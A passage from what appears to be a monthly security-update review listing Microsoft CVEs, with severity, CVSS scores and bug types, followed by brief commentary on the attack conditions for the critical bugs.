 Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux 